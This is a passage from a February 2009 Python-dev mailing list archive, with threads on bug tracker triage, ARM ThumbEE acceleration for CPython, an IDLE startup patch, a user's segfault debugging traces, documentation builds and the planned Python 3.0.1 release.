looking at them for now. Ping me if you need tests or simple patches :) Regards, Daniel From ajaksu at gmail.com Wed Feb 11 07:24:09 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Wed, 11 Feb 2009 04:24:09 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <1afaf6160902101218t317c53akdefd4937c9619b40@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <1afaf6160902101218t317c53akdefd4937c9619b40@mail.gmail.com> Message-ID: <2d75d7660902102224h550489c5ja4d99fe4d7606713@mail.gmail.com> Benjamin Peterson wrote: > Adding/assigning to me on 2to3 bugs is fine, but usually I notice > stuff I'm interested in as it rises to the top. Done, found a couple more. There are also some -3 warnings open, if that interests you :) Thanks for the support, I only saw it was a +10 now :D Cheers, Daniel From martin at v.loewis.de Wed Feb 11 08:27:34 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Wed, 11 Feb 2009 08:27:34 +0100 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: References: <21947336.post@talk.nabble.com> Message-ID: <49927DE6.7030802@v.loewis.de> > ARM is specifically claiming that these instructions can be used to > accelerate Python interpretation. > > > Wow, really? One of the links below mention that? I'm skeptical though that you can really produce speedups for CPython, though; ISTM that they added Python only as a front-end language for Parrot, and added Parrot only because it looks similar to JVM and .NET (i.e. without actually testing that you can gain performance). >From reading the paper, ISTM that you *can* expect speedups for your JIT-generated code. In ThumbEE, you have the following additional features: - fast null pointer checks: any register-indirect addressing in ThumbEE mode checks whether the base register is NULL; if it is, a callback is invoked (which could then throw NullPointerException). This is irrelevant in Python, because we don't use NULL as the value for "no object" - fast array bounds check: there is an instruction that checks whether 0 <= Rm <= Rn, and invokes a callback if it's not; this would then throw ArrayOutOfBoundsException. This instruction would be emitted by JIT just before any array access. In Python, you cannot easily JIT array access into a direct machine instruction (as you need to go through tp_as_sequence->sq_item); the array bounds check would likely disappear in white noise. - fast switch instruction: there is an efficient way to switch 256 different byte code operations, with an optional immediate parameter. It will call/jump to 256 byte code handlers. This allows for a straight-forward JIT compiler which essentially compiles all byte codes into such switch instructions. That would work for Python as well, but require that ceval gets rewritten entirely. - fast locals: efficient access to a local-variables array, for JIT generation of ldloc.i4 (in .NET, not sure what the Java byte code for local variables is). Would work as well for Python, assuming there is a JIT compiler in the first place. R9 holds the fastlocals pointer (which is good use of the register, since you cannot access it in Thumb mode, anyway) - fast instance variables: likewise, with R10 holding the this pointer. Not applicable to Python, since there is no byte code for instance variable access. - efficient array indexing: they give shift-and-index back to Thumb mode, for a shift by 2, allowing to index arrays with 4-byte elements in a single instruction (rather than requiring a separate multipy-by-four). Again useful for JIT of array access instructions, not applicable to Python - although it would be nice if the C compiler knew how to emit that. Regards, Martin From martin at v.loewis.de Wed Feb 11 08:55:10 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 11 Feb 2009 08:55:10 +0100 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: <49927DE6.7030802@v.loewis.de> References: <21947336.post@talk.nabble.com> <49927DE6.7030802@v.loewis.de> Message-ID: <4992845E.9010003@v.loewis.de> > - fast instance variables: likewise, with R10 holding the this > pointer. Not applicable to Python, since there is no byte code > for instance variable access. Follow-up: this could be used to JIT LOAD_CONST efficiently, though, putting co_consts into R10. Regards, Martin From ziade.tarek at gmail.com Wed Feb 11 10:08:42 2009 From: ziade.tarek at gmail.com (=?ISO-8859-1?Q?Tarek_Ziad=E9?=) Date: Wed, 11 Feb 2009 10:08:42 +0100 Subject: [Python-Dev] Tracker archeology In-Reply-To: <20090210234620.GB12722@thorne.id.au> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <94bdd2610902101330i25c672f1v6565648836cc02ed@mail.gmail.com> <20090210234620.GB12722@thorne.id.au> Message-ID: <94bdd2610902110108s6fed0a67k3c7e0b27ddfb7e5c@mail.gmail.com> On Wed, Feb 11, 2009 at 12:46 AM, Stephen Thorne wrote: > On 2009-02-10, Tarek Ziad? wrote: >> On Tue, Feb 10, 2009 at 2:23 PM, Daniel (ajax) Diniz wrote: >> >> > >> > If anyone is interested in being added as nosy for any category of >> > bugs, let me know and I'll do that as I scan the tracker. >> >> I'll take Distutils related issues, > > If you could look at a solution for http://bugs.python.org/issue1533164 > I would be eternally grateful. ok, that would be the next one I am working on in that case, Regards Tarek From cesare.dimauro at a-tono.com Wed Feb 11 12:02:59 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Wed, 11 Feb 2009 12:02:59 +0100 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: <499241EE.4010206@fas.harvard.edu> References: <21947336.post@talk.nabble.com> <499241EE.4010206@fas.harvard.edu> Message-ID: On Feb, 11 2009 at 04:11:AM, Benjamin M. Schwartz wrote: > Brett Cannon wrote: >> On Tue, Feb 10, 2009 at 18:45, Benjamin Schwartz >> wrote: >> > ... >>> According to ARM [4]: >>> >>> """Jazelle RCT can be used to significantly reduce the code bloat >>> associated >>> with AOT and JIT compilation, making AOT technology viable on mass-market >>> devices. It can also be used to support execution environments beyond Java, >>> such as Microsoft .NET Compact Framework, Python and others.""" >>> >>> """Jazelle RCT provides an excellent target for any run-time compilation >>> technology, including JIT and AOT for .NET MSIL, Python and Perl as well as >>> Java. ARM is working with leading software providers to enable solutions >>> ready for market with Jazelle RCT.""" > ... >>> Question: >>> ARM is specifically claiming that these instructions can be used to >>> accelerate Python interpretation. >> >> Wow, really? One of the links below mention that? > > Yes. The quotes above from [4], as well as the white paper [6]. No > specific data, just these broad claims. > >>> What would the process be to incorporate the use of ThumbEE instructions >>> into CPython? >>> >> >> Well, this all depends on how you try to integrate the instructions. If you >> hide it behind the macro or in a clean way that does not penalize skipping >> the instructions then you write a patch. But if this can't be done it would >> be better to maintain an external set of patches against trunk for this. > > Interesting. Sugar Labs will probably not attempt this if we would have > to maintain a patched interpreter forever. However, I hope it will be > possible to integrate into CPython in a manner that does not uglify the > code or affect other architectures. > > Anyone else interested in ARM? ThumbEE support would benefit anyone > running Python on recent ARM chips. Maybe we need to create a working > group/project team/whatever. > >>> [4] http://www.arm.com/products/multimedia/java/jazelle_architecture.html >>> [6] http://www.arm.com/pdfs/JazelleRCTWhitePaper_final1-0_.pdf It's not useful for CPython, since it's based on a loop which evaluates a bytecode at the time. You have to rewrite the virtual machine implementing a JIT compiler that generates Thumb-EE instructions. But it's a big effort, since ceval.c works in a completely different manner. I don't know if a form of JIT will be implemented in future CPython implementations, but if a step in this direction will be made, writing a back-end that uses Thumb-EE will be much easier. Cheers, Cesare From ncoghlan at gmail.com Wed Feb 11 12:09:49 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Wed, 11 Feb 2009 21:09:49 +1000 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: References: <21947336.post@talk.nabble.com> <499241EE.4010206@fas.harvard.edu> Message-ID: <4992B1FD.8050503@gmail.com> Cesare Di Mauro wrote: > It's not useful for CPython, since it's based on a loop which evaluates a bytecode > at the time. > > You have to rewrite the virtual machine implementing a JIT compiler that > generates Thumb-EE instructions. But it's a big effort, since ceval.c works in a > completely different manner. > > I don't know if a form of JIT will be implemented in future CPython > implementations, but if a step in this direction will be made, writing a back-end > that uses Thumb-EE will be much easier. It is beginning to sound like PyPy may be a more appropriate platform for this experimentation than CPython. Cheers, Nick. -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From solipsis at pitrou.net Wed Feb 11 13:34:16 2009 From: solipsis at pitrou.net (Antoine Pitrou) Date: Wed, 11 Feb 2009 12:34:16 +0000 (UTC) Subject: [Python-Dev] Python-acceleration instructions on ARM References: <21947336.post@talk.nabble.com> <49927DE6.7030802@v.loewis.de> Message-ID: Martin v. L?wis v.loewis.de> writes: > - efficient array indexing: they give shift-and-index back to > Thumb mode, for a shift by 2, allowing to index arrays with > 4-byte elements in a single instruction (rather than requiring > a separate multipy-by-four). Again useful for JIT of array > access instructions, not applicable to Python - although it > would be nice if the C compiler knew how to emit that. This could be used in PyTuple_GetItem and PyList_GetItem, no? (assuming Thumb has 4-byte pointers) From cesare.dimauro at a-tono.com Wed Feb 11 13:56:21 2009 From: cesare.dimauro at a-tono.com (Cesare Di Mauro) Date: Wed, 11 Feb 2009 13:56:21 +0100 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: References: <21947336.post@talk.nabble.com> <49927DE6.7030802@v.loewis.de> Message-ID: Antoine Pitrou wrote: > Martin v. L?wis v.loewis.de> writes: >> - efficient array indexing: they give shift-and-index back to >> Thumb mode, for a shift by 2, allowing to index arrays with >> 4-byte elements in a single instruction (rather than requiring >> a separate multipy-by-four). Again useful for JIT of array >> access instructions, not applicable to Python - although it >> would be nice if the C compiler knew how to emit that. > > This could be used in PyTuple_GetItem and PyList_GetItem, no? Yes, but it's a compiler (Thumb-EE specific back-end) burden. Otherwise, we can introduce Thumb-EE assembly code were needed, but the same can happen for a wide range of ISAs. At least IA32 and AMD64 have specific addressing modes where it's possibile to use a multiplying factor of 1, 2, 4 or 8 for the index register. I hope that compilers were smart enough to already used them. > (assuming Thumb has 4-byte pointers) Yes, it does. Cesare From amk at amk.ca Wed Feb 11 15:24:18 2009 From: amk at amk.ca (A.M. Kuchling) Date: Wed, 11 Feb 2009 09:24:18 -0500 Subject: [Python-Dev] Daily documentation builds In-Reply-To: References: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1> Message-ID: <20090211142418.GA7274@amk-desktop.matrixgroup.net> On Tue, Feb 10, 2009 at 09:16:48PM -0800, Neal Norwitz wrote: > I ran 2.6, 3.0, and 3.1 manually. 2.7 should get picked up on the > next run. The problem is that regrtest.py -R hangs from time to time > which caused the machine to run out of memory. Does anyone else have > regrtest.py -R hang for them? Some tests were disabled to try to > prevent the problem, but it still happens from time to time. It's also possible that tools/sphinx needs a manual 'svn update'. A recent change to sphinxext/pyspecific.py imports a new package, sphinx.builders. I had to do this to keep my source tree building the docs. --amk From MLMLists at Comcast.net Wed Feb 11 19:45:14 2009 From: MLMLists at Comcast.net (Mitchell L Model) Date: Wed, 11 Feb 2009 13:45:14 -0500 Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on restart In-Reply-To: References: Message-ID: I have a patch for IDLE, but I've never submitted a patch before and not quite sure of the procedure, despite reading the guidelines at http://www.python.org/dev/patches/. But I'll be brave and persevere. The question I have at the moment is should I only submit the patch vs. 3.1 or also for 3.0? 2.7? 2.6? 2.5? The main thing the patch does is: modify the subprocess restart procedure so that it reloads whatever file, if any, was loaded when IDLE first started and looked for IDLESTARTUP then PYTHONSTARTUP environment variables. In addition: a -q option is added for starting IDLE on the command line to mean "quiet", as with Emacs, e.g., to suppress loading of IDLESTARTUP or PYTHONSTARTUP The former effect of -s would now be the default, which is desirable so double-clicking an IDLE icon to start it will cause the startup file to run. -s is changed to take an argument that is an alternate startup file to use I am a bit concerned about changing -s to have a different meaning. Perhaps it's better to leave -s as an option that is simplhy superfluous and use a different letter for the alternate startup. Guidance on all of these would be greatly appreciated. The patch itself disturbs things in a half-dozen places, but in very minimal ways, so it's not quite as easy as saying "add these three lines over here". (It was that simple until I started thinking about whether the restart should search for IDLESTARTUP/PYTHONSTARTUP again, and perhaps encounter a different file than IDLE did on startup [I think it shouldn't, but it's not a big deal either way] and if shouldn't, then whatever path was originally found has to be stored somewhere and used later. That led to the thinking behind the changes to the startup switches. From sushant354 at gmail.com Wed Feb 11 19:57:46 2009 From: sushant354 at gmail.com (Sushant Sinha) Date: Wed, 11 Feb 2009 13:57:46 -0500 Subject: [Python-Dev] python seg faults Message-ID: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> I am running Python 2.5.4 compiled with gcc (Gentoo 4.3.2-r2 p1.5, pie-10.1.5) 4.3.2 My program uses python interface to two C modules namely libnids (pynids) and adns (adns-python). My program is written all in python. When I run my program it aborts. Here is the stack when that happens: #0 0x00007f6cfdb79205 in raise () from /lib64/libc.so.6 #1 0x00007f6cfdb7a723 in abort () from /lib64/libc.so.6 #2 0x00007f6cfdbb4cf8 in ?? () from /lib64/libc.so.6 #3 0x00007f6cfdbba468 in ?? () from /lib64/libc.so.6 #4 0x00007f6cfdbbbfa6 in free () from /lib64/libc.so.6 #5 0x00007f6cfe79dff2 in ?? () from /usr/lib/libpython2.5.so.1.0 #6 0x00007f6cfe7fd736 in PyEval_EvalFrameEx () from /usr/lib/libpython2.5.so.1.0 #7 0x00007f6cfe7fde7d in PyEval_EvalCodeEx () from /usr/lib/libpython2.5.so.1.0 #8 0x00007f6cfe79f5ce in ?? () from /usr/lib/libpython2.5.so.1.0 #9 0x00007f6cfe781e27 in PyObject_Call () from /usr/lib/libpython2.5.so.1.0 #10 0x00007f6cfe782187 in ?? () from /usr/lib/libpython2.5.so.1.0 #11 0x00007f6cfe7826c8 in PyObject_CallFunction () from /usr/lib/libpython2.5.so.1.0 #12 0x00007f6cfd939b41 in callTcpFunc () from /usr/lib64/python2.5/site-packages/nidsmodule.so #13 0x00007f6cfd93ebae in process_tcp (data=0x1a2f930 "E", skblen=248) at tcp.c:805 #14 0x00007f6cfd93bd7a in gen_ip_proc (data=0x1a2f930 "E", skblen=248) at libnids.c:436 #15 0x00007f6cfd93bbd8 in gen_ip_frag_proc (data=0x1a2f930 "E", len=46) at libnids.c:388 #16 0x00007f6cfd93b6a3 in call_ip_frag_procs (data=0x1a2f930, caplen=46) at libnids.c:198 #17 0x00007f6cfd93ba05 in nids_pcap_handler (par=0x0, hdr=0x7fff06cc3500, data=0x1a2f922 "") at libnids.c:340 #18 0x00007f6cfd7195d9 in pcap_offline_read () from /usr/lib/libpcap.so.1 #19 0x00007f6cfd93c809 in nids_dispatch (cnt=1) at libnids.c:743 #20 0x00007f6cfd939345 in nids_dispatch_exc () from /usr/lib64/python2.5/site-packages/nidsmodule.so #21 0x00007f6cfd93a980 in pynids_run () from /usr/lib64/python2.5/site-packages/nidsmodule.so #22 0x00007f6cfe7fcacd in PyEval_EvalFrameEx () from /usr/lib/libpython2.5.so.1.0 #23 0x00007f6cfe7fde7d in PyEval_EvalCodeEx () from /usr/lib/libpython2.5.so.1.0 #24 0x00007f6cfe7fe062 in PyEval_EvalCode () from /usr/lib/libpython2.5.so.1.0 #25 0x00007f6cfe818601 in ?? () from /usr/lib/libpython2.5.so.1.0 #26 0x00007f6cfe8186d6 in PyRun_FileExFlags () from /usr/lib/libpython2.5.so.1.0 #27 0x00007f6cfe819c6d in PyRun_SimpleFileExFlags () from /usr/lib/libpython2.5.so.1.0 #28 0x00007f6cfe82337a in Py_Main () from /usr/lib/libpython2.5.so.1.0 #29 0x00007f6cfdb655c6 in __libc_start_main () from /lib64/libc.so.6 #30 0x0000000000400789 in _start () When I run under valgrind I see a whole bunch of memory errors. Two of them are show below. ==26882== Thread 1: ==26882== Invalid free() / delete / delete[] ==26882== at 0x4C239FF: free (in /usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so) ==26882== by 0x4E84FF1: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4735: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4E7C: PyEval_EvalCodeEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E865CD: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E68E26: PyObject_Call (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E69186: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E696C7: PyObject_CallFunction (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x618FB40: callTcpFunc (in /usr/lib64/python2.5/site-packages/nidsmodule.so) ==26882== by 0x6194BAD: process_tcp (tcp.c:805) ==26882== by 0x6191D79: gen_ip_proc (libnids.c:436) ==26882== by 0x6191BD7: gen_ip_frag_proc (libnids.c:388) ==26882== Address 0x9195230 is 168,568 bytes inside a block of size 262,144 alloc'd ==26882== at 0x4C24CFE: malloc (in /usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so) ==26882== by 0x4E9BEE8: PyObject_Malloc (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4F0B468: _PyObject_GC_Malloc (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4F0B55D: _PyObject_GC_NewVar (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EAB313: PyTuple_New (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EF9B28: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EFA0A0: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EF9B75: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EFA08A: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EFA755: PyMarshal_ReadObjectFromString (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EFC272: PyMarshal_ReadLastObjectFromFile (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EF453D: (within /usr/lib64/libpython2.5.so.1.0) ==26882== Invalid read of size 4 ==26882== at 0x4E9C20B: PyObject_Realloc (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EA622E: _PyString_Resize (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EDE458: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE3128: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4715: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4715: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4715: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4E7C: PyEval_EvalCodeEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E865CD: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E68E26: PyObject_Call (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E69186: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E696C7: PyObject_CallFunction (in /usr/lib64/libpython2.5.so.1.0) ==26882== Address 0xb380020 is 280 bytes inside a block of size 1,104 free'd ==26882== at 0x4C239FF: free (in /usr/lib64/valgrind/amd64-linux/vgpreload_memcheck.so) ==26882== by 0x4F14E2B: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4F1A09A: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE3ACC: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4715: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4715: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4715: PyEval_EvalFrameEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4EE4E7C: PyEval_EvalCodeEx (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E865CD: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E68E26: PyObject_Call (in /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E69186: (within /usr/lib64/libpython2.5.so.1.0) ==26882== by 0x4E696C7: PyObject_CallFunction (in /usr/lib64/libpython2.5.so.1.0) So I am not sure where the error is. Any clue on where the bug possibly may be: adns-python, pynids or python? Or how I should I go about debugging this? -Sushant. -------------- next part -------------- An HTML attachment was scrubbed... URL: From nnorwitz at gmail.com Wed Feb 11 20:07:31 2009 From: nnorwitz at gmail.com (Neal Norwitz) Date: Wed, 11 Feb 2009 11:07:31 -0800 Subject: [Python-Dev] Daily documentation builds In-Reply-To: <20090211142418.GA7274@amk-desktop.matrixgroup.net> References: <00C904AA5E36487683FFC7CB776C9AA9@RaymondLaptop1> <20090211142418.GA7274@amk-desktop.matrixgroup.net> Message-ID: On Wed, Feb 11, 2009 at 6:24 AM, A.M. Kuchling wrote: > On Tue, Feb 10, 2009 at 09:16:48PM -0800, Neal Norwitz wrote: >> I ran 2.6, 3.0, and 3.1 manually. 2.7 should get picked up on the >> next run. The problem is that regrtest.py -R hangs from time to time >> which caused the machine to run out of memory. Does anyone else have >> regrtest.py -R hang for them? Some tests were disabled to try to >> prevent the problem, but it still happens from time to time. > > It's also possible that tools/sphinx needs a manual 'svn update'. A > recent change to sphinxext/pyspecific.py imports a new package, > sphinx.builders. I had to do this to keep my source tree building the > docs. Ok, I'll take a look later. Misc/build.sh should be doing a "make update" which should fix most problems. There was one problem a while back I had to fix manually though. If you see ways to make Misc/build more robust, feel free to check in changes. The doc section is at the bottom of the file. n From draghuram at gmail.com Wed Feb 11 20:07:44 2009 From: draghuram at gmail.com (Raghuram Devarakonda) Date: Wed, 11 Feb 2009 14:07:44 -0500 Subject: [Python-Dev] IDLE reading IDLESTARTUP or PYTHONSTARTUP on restart In-Reply-To: References: Message-ID: <2c51ecee0902111107o764af98fs34d2a29737a7b15e@mail.gmail.com> On Wed, Feb 11, 2009 at 1:45 PM, Mitchell L Model wrote: > I have a patch for IDLE, but I've never submitted a patch before and not > quite sure of the procedure, despite reading the guidelines at > http://www.python.org/dev/patches/. But I'll be brave and persevere. The > question I have at the moment is should I only submit the patch vs. 3.1 or > also for 3.0? 2.7? 2.6? 2.5? The guidelines listed above clearly state that patches should be sent relative to the current SVN tree. That would be 2.7, I guess. In addition, I would suggest uploading the patch to http://codereview.appspot.com which makes reviewing simpler. Perhaps, the guidelines page can mention this point. > Guidance on all of these would be greatly appreciated. The patch itself > disturbs things in a half-dozen places, but in very minimal ways, so it's The recommended way is to create a tracker issue (with or without patch) and send a mail here with the issue link and a brief description. That will allow interested people to check the issue and add comments. Thanks, Raghu From martin at v.loewis.de Wed Feb 11 20:10:24 2009 From: martin at v.loewis.de (=?UTF-8?B?Ik1hcnRpbiB2LiBMw7Z3aXMi?=) Date: Wed, 11 Feb 2009 20:10:24 +0100 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: References: <21947336.post@talk.nabble.com> <49927DE6.7030802@v.loewis.de> Message-ID: <499322A0.2060505@v.loewis.de> Antoine Pitrou wrote: > Martin v. L?wis v.loewis.de> writes: >> - efficient array indexing: they give shift-and-index back to >> Thumb mode, for a shift by 2, allowing to index arrays with >> 4-byte elements in a single instruction (rather than requiring >> a separate multipy-by-four). Again useful for JIT of array >> access instructions, not applicable to Python - although it >> would be nice if the C compiler knew how to emit that. > > This could be used in PyTuple_GetItem and PyList_GetItem, no? > (assuming Thumb has 4-byte pointers) Yes - but it would require an assembly version of these functions; I'm skeptical that the savings would be measurable (given that there is also the type check and the range check). OTOH, PyTuple_GET_ITEM could probably be implemented as inline assembly. Regards, Martin From martin at v.loewis.de Wed Feb 11 20:11:38 2009 From: martin at v.loewis.de (=?ISO-8859-15?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 11 Feb 2009 20:11:38 +0100 Subject: [Python-Dev] Python-acceleration instructions on ARM In-Reply-To: References: <21947336.post@talk.nabble.com> <49927DE6.7030802@v.loewis.de> Message-ID: <499322EA.6000900@v.loewis.de> > At least IA32 and AMD64 have specific addressing modes where > it's possibile to use a multiplying factor of 1, 2, 4 or 8 for the > index register. > > I hope that compilers were smart enough to already used them. For x86, certainly (at least GCC does). For Thumb, certainly not: the compiler cannot assume that the code is in ThumbEE mode. Regards, Martin From martin at v.loewis.de Wed Feb 11 20:14:54 2009 From: martin at v.loewis.de (=?ISO-8859-1?Q?=22Martin_v=2E_L=F6wis=22?=) Date: Wed, 11 Feb 2009 20:14:54 +0100 Subject: [Python-Dev] python seg faults In-Reply-To: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> References: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> Message-ID: <499323AE.8080308@v.loewis.de> > So I am not sure where the error is. Any clue on where the bug possibly > may be: adns-python, pynids or python? Or how I should I go about > debugging this? This is out of scope for python-dev, but I give some clues anyway: - try finding out what kind of object is being released. Is it a good PyObject*? If so, what is its type? - try running Python in debug mode; this will add additional checks on memory sanity. HTH, Martin From ncoghlan at gmail.com Wed Feb 11 21:10:04 2009 From: ncoghlan at gmail.com (Nick Coghlan) Date: Thu, 12 Feb 2009 06:10:04 +1000 Subject: [Python-Dev] python seg faults In-Reply-To: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> References: <9fb559330902111057lfdae4el81c963c308ef2b05@mail.gmail.com> Message-ID: <4993309C.3080003@gmail.com> Sushant Sinha wrote: > I am running Python 2.5.4 compiled with gcc (Gentoo 4.3.2-r2 p1.5, > pie-10.1.5) 4.3.2 > > My program uses python interface to two C modules namely libnids > (pynids) and adns (adns-python). My program is written all in python. > When I run my program it aborts. As Martin said, this is off-topic for python-dev until the problem has been demonstrated to be in the interpreter itself rather than in the extension modules (mis)use of the interpreter's C API. Until then, comp.lang.python or the user lists for those two C extension modules would be a more appropriate place to ask the question. Cheers, Nick. P.S. (From a quick glance at the stack trace, my initial bet would be on python-nids PCAP handling calling back in to the C API without reacquiring the GIL first) -- Nick Coghlan | ncoghlan at gmail.com | Brisbane, Australia --------------------------------------------------------------- From ajaksu at gmail.com Wed Feb 11 23:41:55 2009 From: ajaksu at gmail.com (Daniel (ajax) Diniz) Date: Wed, 11 Feb 2009 20:41:55 -0200 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> Message-ID: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Hi, Here's a status report about the digging. Thanks Benjamin, Antoine, Martin, Raymond, Guilherme, Georg, Brett, Mark and everyone else for helping :) Good: Many requested assignments: Thanks everyone that asked for bugs. If anyone else wants more, just let me know :) Old issues closed: ajaksu2 - 3 Everyone else - about 14 :) Checking and screening: > 100 issues on the 'verify and close or update' queue (most of what is popping up as changed) Bad: Assignment mistakes: Two issues reassigned to Brett (from MvL and JvR) because I didn't see they were already assigned: http://bugs.python.org/issue1419652 PyImport_AppendInittab stores pointer to parameter http://bugs.python.org/issue616247 More documentation for the imp module Sorry about that :-/ Over-spammig: Sorry, Georg! I only noticed all issues in the Documentation component are auto-assigned to you today. This meant dozens of unasked for assignments :-/ Now will I'll start verifying, adding tests, updating or closing as needed the recently changed old issues, until I've taken a good look at these. Then, if there's still time left before Saturday, I'll focus on verifying/flagging more ancient ones. during-bug-season-every-day-is-bug-day-ly y'rs, Daniel From python at rcn.com Wed Feb 11 23:52:07 2009 From: python at rcn.com (Raymond Hettinger) Date: Wed, 11 Feb 2009 14:52:07 -0800 Subject: [Python-Dev] Tracker archeology References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Message-ID: <10EE36411D1740AA86E526D65FC4E40D@RaymondLaptop1> [Daniel (ajax) Diniz] > Now will I'll start verifying, adding tests, updating or closing as > needed the recently changed old issues, until I've taken a good look > at these. Then, if there's still time left before Saturday, I'll focus > on verifying/flagging more ancient ones. Thanks for your efforts. Raymond From barry at python.org Thu Feb 12 00:37:17 2009 From: barry at python.org (Barry Warsaw) Date: Wed, 11 Feb 2009 18:37:17 -0500 Subject: [Python-Dev] Python 3.0.1 planned for this Friday, Feb 13 Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 A quick reminder that I am planning to release Python 3.0.1 this Friday, February 13. Thanks to y'all's hard work, we have no showstopper bugs at the moment. The 3.0 buildbots look mostly clean and green. If we can keep it this way for about 24 hours, I will tag the branch at about 2300 UTC Thursday February 12 so that Martin can build the Windows installers on his Friday morning. Then Friday evening at about 2300 UTC, I will spin the tarballs and make the release. Cheers, Barry -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.9 (Darwin) iQCVAwUBSZNhLXEjvBPtnXfVAQKxoQP9HGUioYy3i0Z4glQfRevwJyiIvYqA1cF1 DKHpCn/8eJ/QXJ32Sfh/H2cASpDwkNNQLHrBOnzOPbe4M8ZJisg8bC27g+fTxckZ 5+yUJUTtRxk7/nDwWsS/DAWZ17VT9z8YN43XO2gGhcXw2YYl1Mi7VWvuZed9ojVL D7Gwy10S+s4= =RYa0 -----END PGP SIGNATURE----- From brett at python.org Thu Feb 12 01:07:19 2009 From: brett at python.org (Brett Cannon) Date: Wed, 11 Feb 2009 16:07:19 -0800 Subject: [Python-Dev] Tracker archeology In-Reply-To: <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> References: <2d75d7660902100523o79951e27j9ccc2833a1446a5d@mail.gmail.com> <2d75d7660902111441y3e058bddiebd8f021912cf574@mail.gmail.com> Message-ID: 2009/2/11 Daniel (ajax) Diniz > Hi, > > Here's a status report about the digging. Thanks Benjamin, Antoine, > Martin, Raymond, Guilherme, Georg, Brett, Mark and everyone else for > helping :) > > Good: > Many requested assignments: > Thanks everyone that asked for bugs. If anyone else wants more, > just let me know :) > > Old issues closed: > ajaksu2 - 3 > Everyone else - about 14 :) > > Checking and screening: > > 100 issues on the 'verify and close or update' queue (most of > what is popping up as changed) > > Bad: > Assignment mistakes: > Two issues reassigned to Brett (from MvL and JvR) because I didn't > see they were already assigned: > http://bugs.python.org/issue1419652 PyImport_AppendInittab stores > pointer to parameter > http://bugs.python.org/issue616247 More documentation for the imp module > Sorry about that :-/ > No big deal. > > Over-spammig: > Sorry, Georg! I only 